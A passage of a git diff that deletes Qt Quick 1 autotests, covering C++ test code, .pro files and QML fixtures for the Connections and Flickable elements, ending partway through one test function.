a/tests/auto/qtquick1/qdeclarativeconnection/qdeclarativeconnection.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeconnection -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeconnection.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativeconnection/tst_qdeclarativeconnection.cpp b/tests/auto/qtquick1/qdeclarativeconnection/tst_qdeclarativeconnection.cpp deleted file mode 100644 index 6d5c17f8f2..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/tst_qdeclarativeconnection.cpp +++ /dev/null @@ -1,227 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativeconnection : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeconnection(); - -private slots: - void defaultValues(); - void properties(); - void connection(); - void trimming(); - void targetChanged(); - void unknownSignals_data(); - void unknownSignals(); - void errors_data(); - void errors(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativeconnection::tst_qdeclarativeconnection() -{ -} - -void tst_qdeclarativeconnection::defaultValues() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-connection3.qml")); - QDeclarative1Connections *item = qobject_cast(c.create()); - - QVERIFY(item != 0); - QVERIFY(item->target() == 0); - - delete item; -} - -void tst_qdeclarativeconnection::properties() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-connection2.qml")); - QDeclarative1Connections *item = qobject_cast(c.create()); - - QVERIFY(item != 0); - - QVERIFY(item != 0); - QVERIFY(item->target() == item); - - delete item; -} - -void tst_qdeclarativeconnection::connection() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-connection.qml")); - QDeclarativeItem *item = qobject_cast(c.create()); - - QVERIFY(item != 0); - - QCOMPARE(item->property("tested").toBool(), false); - QCOMPARE(item->width(), 50.); - emit item->setWidth(100.); - QCOMPARE(item->width(), 100.); - QCOMPARE(item->property("tested").toBool(), true); - - delete item; -} - -void tst_qdeclarativeconnection::trimming() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/trimming.qml")); - QDeclarativeItem *item = qobject_cast(c.create()); - - QVERIFY(item != 0); - - QCOMPARE(item->property("tested").toString(), QString("")); - int index = item->metaObject()->indexOfSignal("testMe(int,QString)"); - QMetaMethod method = item->metaObject()->method(index); - method.invoke(item, - Qt::DirectConnection, - Q_ARG(int, 5), - Q_ARG(QString, "worked")); - QCOMPARE(item->property("tested").toString(), QString("worked5")); - - delete item; -} - -// Confirm that target can be changed by one of our signal handlers -void tst_qdeclarativeconnection::targetChanged() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/connection-targetchange.qml")); - QDeclarativeItem *item = qobject_cast(c.create()); - QVERIFY(item != 0); - - QDeclarative1Connections *connections = item->findChild("connections"); - QVERIFY(connections); - - QDeclarativeItem *item1 = item->findChild("item1"); - QVERIFY(item1); - - item1->setWidth(200); - - QDeclarativeItem *item2 = item->findChild("item2"); - QVERIFY(item2); - QVERIFY(connections->target() == item2); - - // If we don't crash then we're OK - - delete item; -} - -void tst_qdeclarativeconnection::unknownSignals_data() -{ - QTest::addColumn("file"); - QTest::addColumn("error"); - - QTest::newRow("basic") << "connection-unknownsignals.qml" << ":6:5: QML Connections: Cannot assign to non-existent property \"onFooBar\""; - QTest::newRow("parent") << "connection-unknownsignals-parent.qml" << ":6:5: QML Connections: Cannot assign to non-existent property \"onFooBar\""; - QTest::newRow("ignored") << "connection-unknownsignals-ignored.qml" << ""; // should be NO error - QTest::newRow("notarget") << "connection-unknownsignals-notarget.qml" << ""; // should be NO error -} - -void tst_qdeclarativeconnection::unknownSignals() -{ - QFETCH(QString, file); - QFETCH(QString, error); - - QUrl url = QUrl::fromLocalFile(SRCDIR "/data/" + file); - if (!error.isEmpty()) { - QTest::ignoreMessage(QtWarningMsg, (url.toString() + error).toLatin1()); - } else { - // QTest has no way to insist no message (i.e. fail) - } - - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, url); - QDeclarativeItem *item = qobject_cast(c.create()); - QVERIFY(item != 0); - - // check that connection is created (they are all runtime errors) - QDeclarative1Connections *connections = item->findChild("connections"); - QVERIFY(connections); - - if (file == "connection-unknownsignals-ignored.qml") - QVERIFY(connections->ignoreUnknownSignals()); - - delete item; -} - -void tst_qdeclarativeconnection::errors_data() -{ - QTest::addColumn("file"); - QTest::addColumn("error"); - - QTest::newRow("no \"on\"") << "error-property.qml" << "Cannot assign to non-existent property \"fakeProperty\""; - QTest::newRow("3rd letter lowercase") << "error-property2.qml" << "Cannot assign to non-existent property \"onfakeProperty\""; - QTest::newRow("child object") << "error-object.qml" << "Connections: nested objects not allowed"; - QTest::newRow("grouped object") << "error-syntax.qml" << "Connections: syntax error"; -} - -void tst_qdeclarativeconnection::errors() -{ - QFETCH(QString, file); - QFETCH(QString, error); - - QUrl url = QUrl::fromLocalFile(SRCDIR "/data/" + file); - - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, url); - QVERIFY(c.isError() == true); - QList errors = c.errors(); - QVERIFY(errors.count() == 1); - QCOMPARE(errors.at(0).description(), error); -} - -QTEST_MAIN(tst_qdeclarativeconnection) - -#include "tst_qdeclarativeconnection.moc" diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/disabled.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/disabled.qml deleted file mode 100644 index ac63cd461b..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/disabled.qml +++ /dev/null @@ -1,30 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - width: 100; height: 100 - property bool clicked: false - - Flickable { - objectName: "flickable" - width: 100; height: 100 - contentWidth: column.width; contentHeight: column.height - enabled: false - - Column { - id: column - Repeater { - model: 4 - Rectangle { - width: 200; height: 300; color: "blue" - MouseArea { anchors.fill: parent; onClicked: { } } - } - } - } - } - - MouseArea { - width: 100; height: 30 - onClicked: root.clicked = true - } -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/disabledcontent.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/disabledcontent.qml deleted file mode 100644 index dcbb20bdd5..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/disabledcontent.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -Flickable { - width: 100; height: 100 - contentWidth: 200; contentHeight: 300 - - QGraphicsWidget { width: 200; height: 300; enabled: false } -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/flickable01.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/flickable01.qml deleted file mode 100644 index c53ae3f98a..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/flickable01.qml +++ /dev/null @@ -1,4 +0,0 @@ -import QtQuick 1.0 - -Flickable { -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/flickable02.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/flickable02.qml deleted file mode 100644 index 98925ae3c6..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/flickable02.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Flickable { - width: 100; height: 100 - contentWidth: row.width; contentHeight: row.height - - Row { - id: row - Repeater { - model: 4 - Rectangle { width: 200; height: 300; color: "blue" } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/flickable03.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/flickable03.qml deleted file mode 100644 index 8359ad1bb4..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/flickable03.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Flickable { - width: 100; height: 200 - contentWidth: column.width; contentHeight: column.height - - Column { - id: column - Repeater { - model: 4 - Rectangle { width: 200; height: 300; color: "blue" } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/flickable04.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/flickable04.qml deleted file mode 100644 index fcc683ae4d..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/flickable04.qml +++ /dev/null @@ -1,22 +0,0 @@ -import QtQuick 1.0 - -Flickable { - property bool ok: false - function check() { - if (column.parent == contentItem) - ok = true; - } - - width: 100; height: 100 - contentWidth: column.width; contentHeight: column.height - pressDelay: 200; boundsBehavior: Flickable.StopAtBounds; interactive: false - maximumFlickVelocity: 2000 - - Column { - id: column - Repeater { - model: 4 - Rectangle { width: 200; height: 300; color: "blue" } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/flickableqgraphicswidget.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/flickableqgraphicswidget.qml deleted file mode 100644 index 6cbf12c1ee..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/flickableqgraphicswidget.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Flickable { - width: 100; height: 100 - - QGraphicsWidget { objectName: "widget1"; width: 200; height: 300 } -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/nestedPressDelay.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/nestedPressDelay.qml deleted file mode 100644 index d0ee545f97..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/nestedPressDelay.qml +++ /dev/null @@ -1,33 +0,0 @@ -import QtQuick 1.0 - -Flickable { - property bool pressed: ma.pressed - width: 240 - height: 320 - contentWidth: 480 - contentHeight: 320 - flickableDirection: Flickable.HorizontalFlick - pressDelay: 50 - Flickable { - objectName: "innerFlickable" - flickableDirection: Flickable.VerticalFlick - width: 480 - height: 320 - contentWidth: 480 - contentHeight: 400 - pressDelay: 10000 - Rectangle { - y: 100 - anchors.horizontalCenter: parent.horizontalCenter - width: 240 - height: 100 - color: ma.pressed ? 'blue' : 'green' - MouseArea { - id: ma - objectName: "mouseArea" - anchors.fill: parent - } - } - } -} - diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/resize.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/resize.qml deleted file mode 100644 index e2abb99f2a..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/resize.qml +++ /dev/null @@ -1,27 +0,0 @@ -import QtQuick 1.1 - -Rectangle { - function resizeContent() { - flick.resizeContent(600, 600, Qt.point(100, 100)) - } - function returnToBounds() { - flick.returnToBounds() - } - width: 400 - height: 360 - color: "gray" - - Flickable { - id: flick - objectName: "flick" - anchors.fill: parent - contentWidth: 300 - contentHeight: 300 - - Rectangle { - width: flick.contentWidth - height: flick.contentHeight - color: "red" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/data/wheel.qml b/tests/auto/qtquick1/qdeclarativeflickable/data/wheel.qml deleted file mode 100644 index 6ea81b2d9e..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/data/wheel.qml +++ /dev/null @@ -1,21 +0,0 @@ -import QtQuick 1.1 - -Rectangle { - width: 400 - height: 400 - color: "gray" - - Flickable { - id: flick - objectName: "flick" - anchors.fill: parent - contentWidth: 800 - contentHeight: 800 - - Rectangle { - width: flick.contentWidth - height: flick.contentHeight - color: "red" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeflickable/qdeclarativeflickable.pro b/tests/auto/qtquick1/qdeclarativeflickable/qdeclarativeflickable.pro deleted file mode 100644 index 1c54ef413f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/qdeclarativeflickable.pro +++ /dev/null @@ -1,11 +0,0 @@ -TARGET = tst_qdeclarativeflickable -CONFIG += testcase -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeflickable.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/qtquick1/qdeclarativeflickable/tst_qdeclarativeflickable.cpp deleted file mode 100644 index 140ccf036c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflickable/tst_qdeclarativeflickable.cpp +++ /dev/null @@ -1,583 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativeflickable : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeflickable(); - -private slots: - void create(); - void horizontalViewportSize(); - void verticalViewportSize(); - void properties(); - void boundsBehavior(); - void maximumFlickVelocity(); - void flickDeceleration(); - void pressDelay(); - void disabledContent(); - void nestedPressDelay(); - void flickableDirection(); - void qgraphicswidget(); - void resizeContent(); - void returnToBounds(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - void wheel(); - void disabled(); - void flickVelocity(); - -private: - QDeclarativeEngine engine; - - void flick(QGraphicsView *canvas, const QPoint &from, const QPoint &to, int duration); - template - T *findItem(QGraphicsObject *parent, const QString &objectName); -}; - -tst_qdeclarativeflickable::tst_qdeclarativeflickable() -{ -} - -void tst_qdeclarativeflickable::create() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickable01.qml")); - QDeclarative1Flickable *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QCOMPARE(obj->isAtXBeginning(), true); - QCOMPARE(obj->isAtXEnd(), false); - QCOMPARE(obj->isAtYBeginning(), true); - QCOMPARE(obj->isAtYEnd(), false); - QCOMPARE(obj->contentX(), 0.); - QCOMPARE(obj->contentY(), 0.); - - QCOMPARE(obj->horizontalVelocity(), 0.); - QCOMPARE(obj->verticalVelocity(), 0.); - - QCOMPARE(obj->isInteractive(), true); - QCOMPARE(obj->boundsBehavior(), QDeclarative1Flickable::DragAndOvershootBounds); - QCOMPARE(obj->pressDelay(), 0); - QCOMPARE(obj->maximumFlickVelocity(), 2500.); - - delete obj; -} - -void tst_qdeclarativeflickable::horizontalViewportSize() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickable02.qml")); - QDeclarative1Flickable *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QCOMPARE(obj->contentWidth(), 800.); - QCOMPARE(obj->contentHeight(), 300.); - QCOMPARE(obj->isAtXBeginning(), true); - QCOMPARE(obj->isAtXEnd(), false); - QCOMPARE(obj->isAtYBeginning(), true); - QCOMPARE(obj->isAtYEnd(), false); - - delete obj; -} - -void tst_qdeclarativeflickable::verticalViewportSize() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickable03.qml")); - QDeclarative1Flickable *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QCOMPARE(obj->contentWidth(), 200.); - QCOMPARE(obj->contentHeight(), 1200.); - QCOMPARE(obj->isAtXBeginning(), true); - QCOMPARE(obj->isAtXEnd(), false); - QCOMPARE(obj->isAtYBeginning(), true); - QCOMPARE(obj->isAtYEnd(), false); - - delete obj; -} - -void tst_qdeclarativeflickable::properties() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickable04.qml")); - QDeclarative1Flickable *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QCOMPARE(obj->isInteractive(), false); - QCOMPARE(obj->boundsBehavior(), QDeclarative1Flickable::StopAtBounds); - QCOMPARE(obj->pressDelay(), 200); - QCOMPARE(obj->maximumFlickVelocity(), 2000.); - - QVERIFY(obj->property("ok").toBool() == false); - QMetaObject::invokeMethod(obj, "check"); - QVERIFY(obj->property("ok").toBool() == true); - - delete obj; -} - -void tst_qdeclarativeflickable::boundsBehavior() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Flickable { boundsBehavior: Flickable.StopAtBounds }", QUrl::fromLocalFile("")); - QDeclarative1Flickable *flickable = qobject_cast(component.create()); - QSignalSpy spy(flickable, SIGNAL(boundsBehaviorChanged())); - - QVERIFY(flickable); - QVERIFY(flickable->boundsBehavior() == QDeclarative1Flickable::StopAtBounds); - - flickable->setBoundsBehavior(QDeclarative1Flickable::DragAndOvershootBounds); - QVERIFY(flickable->boundsBehavior() == QDeclarative1Flickable::DragAndOvershootBounds); - QCOMPARE(spy.count(),1); - flickable->setBoundsBehavior(QDeclarative1Flickable::DragAndOvershootBounds); - QCOMPARE(spy.count(),1); - - flickable->setBoundsBehavior(QDeclarative1Flickable::DragOverBounds); - QVERIFY(flickable->boundsBehavior() == QDeclarative1Flickable::DragOverBounds); - QCOMPARE(spy.count(),2); - flickable->setBoundsBehavior(QDeclarative1Flickable::DragOverBounds); - QCOMPARE(spy.count(),2); - - flickable->setBoundsBehavior(QDeclarative1Flickable::StopAtBounds); - QVERIFY(flickable->boundsBehavior() == QDeclarative1Flickable::StopAtBounds); - QCOMPARE(spy.count(),3); - flickable->setBoundsBehavior(QDeclarative1Flickable::StopAtBounds); - QCOMPARE(spy.count(),3); -} - -void tst_qdeclarativeflickable::maximumFlickVelocity() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Flickable { maximumFlickVelocity: 1.0; }", QUrl::fromLocalFile("")); - QDeclarative1Flickable *flickable = qobject_cast(component.create()); - QSignalSpy spy(flickable, SIGNAL(maximumFlickVelocityChanged())); - - QVERIFY(flickable); - QCOMPARE(flickable->maximumFlickVelocity(), 1.0); - - flickable->setMaximumFlickVelocity(2.0); - QCOMPARE(flickable->maximumFlickVelocity(), 2.0); - QCOMPARE(spy.count(),1); - flickable->setMaximumFlickVelocity(2.0); - QCOMPARE(spy.count(),1); -} - -void tst_qdeclarativeflickable::flickDeceleration() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Flickable { flickDeceleration: 1.0; }", QUrl::fromLocalFile("")); - QDeclarative1Flickable *flickable = qobject_cast(component.create()); - QSignalSpy spy(flickable, SIGNAL(flickDecelerationChanged())); - - QVERIFY(flickable); - QCOMPARE(flickable->flickDeceleration(), 1.0); - - flickable->setFlickDeceleration(2.0); - QCOMPARE(flickable->flickDeceleration(), 2.0); - QCOMPARE(spy.count(),1); - flickable->setFlickDeceleration(2.0); - QCOMPARE(spy.count(),1); -} - -void tst_qdeclarativeflickable::pressDelay() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Flickable { pressDelay: 100; }", QUrl::fromLocalFile("")); - QDeclarative1Flickable *flickable = qobject_cast(component.create()); - QSignalSpy spy(flickable, SIGNAL(pressDelayChanged())); - - QVERIFY(flickable); - QCOMPARE(flickable->pressDelay(), 100); - - flickable->setPressDelay(200); - QCOMPARE(flickable->pressDelay(), 200); - QCOMPARE(spy.count(),1); - flickable->setPressDelay(200); - QCOMPARE(spy.count(),1); -} - -// QT-4677 -void tst_qdeclarativeflickable::disabledContent() -{ - QDeclarativeView *canvas = new QDeclarativeView; - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/disabledcontent.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1Flickable *flickable = qobject_cast(canvas->rootObject()); - QVERIFY(flickable != 0); - - QVERIFY(flickable->contentX() == 0); - QVERIFY(flickable->contentY() == 0); - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50))); - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(70,70)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(90,90)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(100,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - - QVERIFY(flickable->contentX() < 0); - QVERIFY(flickable->contentY() < 0); - - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(90, 90))); - - delete canvas; -} - - -// QTBUG-17361 -void tst_qdeclarativeflickable::nestedPressDelay() -{ - QDeclarativeView *canvas = new QDeclarativeView; - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/nestedPressDelay.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1Flickable *outer = qobject_cast(canvas->rootObject()); - QVERIFY(outer != 0); - - QDeclarative1Flickable *inner = canvas->rootObject()->findChild("innerFlickable"); - QVERIFY(inner != 0); - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(150, 150))); - // the MouseArea is not pressed immediately - QVERIFY(outer->property("pressed").toBool() == false); - - // The outer pressDelay will prevail (50ms, vs. 10sec) - // QTRY_VERIFY() has 5sec timeout, so will timeout well within 10sec. - QTRY_VERIFY(outer->property("pressed").toBool() == true); - - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(150, 150))); - - delete canvas; -} - -void tst_qdeclarativeflickable::flickableDirection() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Flickable { flickableDirection: Flickable.VerticalFlick; }", QUrl::fromLocalFile("")); - QDeclarative1Flickable *flickable = qobject_cast(component.create()); - QSignalSpy spy(flickable, SIGNAL(flickableDirectionChanged())); - - QVERIFY(flickable); - QCOMPARE(flickable->flickableDirection(), QDeclarative1Flickable::VerticalFlick); - - flickable->setFlickableDirection(QDeclarative1Flickable::HorizontalAndVerticalFlick); - QCOMPARE(flickable->flickableDirection(), QDeclarative1Flickable::HorizontalAndVerticalFlick); - QCOMPARE(spy.count(),1); - - flickable->setFlickableDirection(QDeclarative1Flickable::AutoFlickDirection); - QCOMPARE(flickable->flickableDirection(), QDeclarative1Flickable::AutoFlickDirection); - QCOMPARE(spy.count(),2); - - flickable->setFlickableDirection(QDeclarative1Flickable::HorizontalFlick); - QCOMPARE(flickable->flickableDirection(), QDeclarative1Flickable::HorizontalFlick); - QCOMPARE(spy.count(),3); - - flickable->setFlickableDirection(QDeclarative1Flickable::HorizontalFlick); - QCOMPARE(flickable->flickableDirection(), QDeclarative1Flickable::HorizontalFlick); - QCOMPARE(spy.count(),3); -} - -void tst_qdeclarativeflickable::qgraphicswidget() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickableqgraphicswidget.qml")); - QDeclarative1Flickable *flickable = qobject_cast(c.create()); - - QVERIFY(flickable != 0); - QGraphicsWidget *widget = findItem(flickable->contentItem(), "widget1"); - QVERIFY(widget); -} - -// QtQuick 1.1 -void tst_qdeclarativeflickable::resizeContent() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml")); - QDeclarativeItem *root = qobject_cast(c.create()); - QDeclarative1Flickable *obj = findItem(root, "flick"); - - QVERIFY(obj != 0); - QCOMPARE(obj->contentX(), 0.); - QCOMPARE(obj->contentY(), 0.); - QCOMPARE(obj->contentWidth(), 300.); - QCOMPARE(obj->contentHeight(), 300.); - - QMetaObject::invokeMethod(root, "resizeContent"); - - QCOMPARE(obj->contentX(), 100.); - QCOMPARE(obj->contentY(), 100.); - QCOMPARE(obj->contentWidth(), 600.); - QCOMPARE(obj->contentHeight(), 600.); - - delete root; -} - -// QtQuick 1.1 -void tst_qdeclarativeflickable::returnToBounds() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml")); - QDeclarativeItem *root = qobject_cast(c.create()); - QDeclarative1Flickable *obj = findItem(root, "flick"); - - QVERIFY(obj != 0); - QCOMPARE(obj->contentX(), 0.); - QCOMPARE(obj->contentY(), 0.); - QCOMPARE(obj->contentWidth(), 300.); - QCOMPARE(obj->contentHeight(), 300.); - - obj->setContentX(100); - obj->setContentY(400); - QTRY_COMPARE(obj->contentX(), 100.); - QTRY_COMPARE(obj->contentY(), 400.); - - QMetaObject::invokeMethod(root, "returnToBounds"); - - QTRY_COMPARE(obj->contentX(), 0.); - QTRY_COMPARE(obj->contentY(), 0.); - - delete root; -} - -void tst_qdeclarativeflickable::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; Flickable { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; Flickable { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; -} - -void tst_qdeclarativeflickable::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("resizeContent") << "Component.onCompleted: resizeContent(100,100,Qt.point(50,50))" - << ":1: ReferenceError: Can't find variable: resizeContent" - << ""; - - QTest::newRow("returnToBounds") << "Component.onCompleted: returnToBounds()" - << ":1: ReferenceError: Can't find variable: returnToBounds" - << ""; - -} - -void tst_qdeclarativeflickable::wheel() -{ - QDeclarativeView *canvas = new QDeclarativeView; - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/wheel.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1Flickable *flick = canvas->rootObject()->findChild("flick"); - QVERIFY(flick != 0); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneWheelEvent event(QEvent::GraphicsSceneWheel); - event.setScenePos(QPointF(200, 200)); - event.setDelta(-120); - event.setOrientation(Qt::Vertical); - event.setAccepted(false); - QApplication::sendEvent(scene, &event); - - QTRY_VERIFY(flick->contentY() > 0); - QVERIFY(flick->contentX() == 0); - - flick->setContentY(0); - QVERIFY(flick->contentY() == 0); - - event.setScenePos(QPointF(200, 200)); - event.setDelta(-120); - event.setOrientation(Qt::Horizontal); - event.setAccepted(false); - QApplication::sendEvent(scene, &event); - - QTRY_VERIFY(flick->contentX() > 0); - QVERIFY(flick->contentY() == 0); - - delete canvas; -} - -void tst_qdeclarativeflickable::disabled() -{ - QDeclarativeView *canvas = new QDeclarativeView; - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/disabled.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1Flickable *flick = canvas->rootObject()->findChild("flickable"); - QVERIFY(flick != 0); - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50,90))); - - QMouseEvent moveEvent(QEvent::MouseMove, canvas->mapFromScene(QPoint(50, 80)), Qt::LeftButton, 